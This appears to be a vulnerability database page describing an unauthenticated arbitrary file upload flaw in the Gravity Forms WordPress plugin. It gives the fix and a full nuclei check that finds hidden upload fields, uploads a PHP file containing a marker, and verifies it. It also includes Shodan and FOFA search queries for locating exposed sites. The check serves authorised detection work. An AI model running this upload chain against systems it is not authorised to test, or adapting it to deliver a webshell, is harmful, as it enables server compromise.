HexBrain

Browse / CVEs / CVE-2026-84434

CVE-2026-84434· rocketgenius / gravityforms· CWE-434

WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload

criticalseverity
9.8CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.

Impact

Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.

Fix

Update Gravity Forms to version 3.1.1 or later.

How to confirm it

Send: GET /wp-content/plugins/gravityforms/gravityforms.php
Positive when: status_code == 200
Send: GET {{BaseURL}}{{scan_path}}
Positive when: contains_all(body, "gfield_visibility_hidden", "gfield--type-fileupload", "gravityforms")
Send: POST {{BaseURL}}{{found_page_path}}
Positive when: contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")
Send: POST /wp-admin/admin-ajax.php
Positive when: contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")
Send: GET {{verify_url}}
Positive when: contains(body, "{{marker}}")

Run it with nuclei: nuclei -id CVE-2026-84434 -u <target>

The full check
id: CVE-2026-84434

info:
  name: WordPress Gravity Forms Plugin <=3.1.0.4 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    Gravity Forms WordPress plugin version 3.1.0.4 and earlier contains an unauthenticated arbitrary file upload vulnerability caused by bypassing extension validation in hidden file upload fields. Unauthenticated attackers can upload any file type including PHP when a form has a File Upload field configured with Hidden visibility. The bypass works because the server-side extension validation is skipped for fields with gfield_visibility_hidden CSS class.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP webshells, enabling remote code execution on the web server leading to full server compromise.
  remediation: |
    Update Gravity Forms to version 3.1.1 or later.
  reference:
    - https://github.com/murrez/CVE-2026-84434
    - https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-3-1-0-4-unauthenticated-arbitrary-file-upload-via-hidden-file-upload-field-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/787e22a9-329b-4e71-bc2a-4f5524fc9356
    - https://docs.gravityforms.com/gravityforms-change-log/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-84434
    epss-score: 0.0391
    epss-percentile: 0.9038
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 21
    vendor: rocketgenius
    product: gravityforms
    shodan-query: 'http.html:"gravityforms" http.html:"gform_wrapper"'
    fofa-query: 'body="gravityforms" && body="gform_wrapper"'
  tags: cve,cve2026,wordpress,plugin,gravityforms,file-upload,rce,unauth,vkev

variables:
  marker: "{{rand_text_alpha(16)}}"
  fname: "{{rand_text_alpha(10)}}"
  boundary: "NucleiUpload{{rand_text_alpha(12)}}"

flow: |
  http("detect");

  let scanPaths = ["/", "/contact/", "/contact-us/", "/get-in-touch/", "/support/",
                   "/apply/", "/register/", "/signup/", "/donate/", "/quote/",
                   "/request-quote/", "/book/", "/appointment/", "/upload/"];

  let formFound = false;

  for (let i = 0; i < scanPaths.length; i++) {
    set("scan_path", scanPaths[i]);
    http("scan");

    if (template["form_id"] && template["hidden_field_input_name"]) {
      set("found_page_path", scanPaths[i]);
      formFound = true;
      break;
    }
    set("form_id", "");
    set("hidden_field_input_name", "");
  }

  if (!formFound) {
    stop();
  }

  http("submit-page");

  if (!template["upload_file_url"] && !template["upload_rel_url"] && template["gform_ajax_value"]) {
    http("submit-ajax");
  }

  let verifyUrl = template["upload_file_url"] || template["upload_rel_url"] || "";
  if (verifyUrl) {
    if (!verifyUrl.startsWith("http")) {
      verifyUrl = "{{BaseURL}}/" + verifyUrl;
    }
    verifyUrl = verifyUrl.replace(/&amp;/g, "&");
    set("verify_url", verifyUrl);
    http("verify-upload");
  }

http:
  - id: detect
    raw:
      - |
        GET /wp-content/plugins/gravityforms/gravityforms.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - id: scan
    raw:
      - |
        GET {{BaseURL}}{{scan_path}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "gfield_visibility_hidden", "gfield--type-fileupload", "gravityforms")'
        internal: true

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - 'id=["'']?gform_wrapper_([0-9]+)["'']?'

      - type: regex
        name: hidden_field_input_name
        part: body
        internal: true
        group: 1
        regex:
          - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?name=["''](input_[0-9]+(?:_[0-9]+)?)["''][^>]*type=["'']file["'']'
          - 'gfield_visibility_hidden[^>]*>[\s\S]{0,800}?type=["'']file["''][^>]*name=["''](input_[0-9]+(?:_[0-9]+)?)["'']'

      - type: regex
        name: form_unique_id
        part: body
        internal: true
        group: 1
        regex:
          - 'name=["'']gform_unique_id["''][^>]*value=["'']([^"'']*)["'']'

      - type: regex
        name: gform_ajax_value
        part: body
        internal: true
        group: 1
        regex:
          - 'name=["'']gform_ajax["''][^>]*value=["'']([^"'']*)["'']'

  - id: submit-page
    raw:
      - |
        POST {{BaseURL}}{{found_page_path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        Referer: {{BaseURL}}{{found_page_path}}
        Origin: {{RootURL}}

        ------{{boundary}}
        Content-Disposition: form-data; name="is_submit_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_submit"

        {{form_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_unique_id"

        {{form_unique_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}"

        0
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php"
        Content-Type: application/x-php

        {{marker}}
        ------{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")'


    extractors:
      - type: regex
        name: upload_file_url
        part: body
        internal: true
        group: 1
        regex:
          - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]'

      - type: regex
        name: upload_rel_url
        part: body
        internal: true
        group: 0
        regex:
          - 'index\.php\?gf-download=[^''"<>\s]+'

  - id: submit-ajax
    raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{boundary}}
        Referer: {{BaseURL}}{{found_page_path}}
        Origin: {{RootURL}}

        ------{{boundary}}
        Content-Disposition: form-data; name="action"

        gform_ajax
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_ajax"

        {{gform_ajax_value}}
        ------{{boundary}}
        Content-Disposition: form-data; name="is_submit_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_submit"

        {{form_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_unique_id"

        {{form_unique_id}}
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_target_page_number_{{form_id}}"

        0
        ------{{boundary}}
        Content-Disposition: form-data; name="gform_source_page_number_{{form_id}}"

        1
        ------{{boundary}}
        Content-Disposition: form-data; name="{{hidden_field_input_name}}"; filename="{{fname}}.php"
        Content-Type: application/x-php

        {{marker}}
        ------{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "gform_confirmation", "gf-download", "wp-content/uploads/gravity_forms", "is_valid")'
        internal: true

    extractors:
      - type: regex
        name: upload_file_url
        part: body
        internal: true
        group: 1
        regex:
          - 'href=[''"]((?:https?:)?//[^''"]*gf-download=[^''"]+)[''"]'

      - type: regex
        name: upload_rel_url
        part: body
        internal: true
        group: 0
        regex:
          - 'index\.php\?gf-download=[^''"<>\s]+'

  - id: verify-upload
    raw:
      - |
        GET {{verify_url}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'

References

Use this check only on systems you are authorised to test. Where the data comes from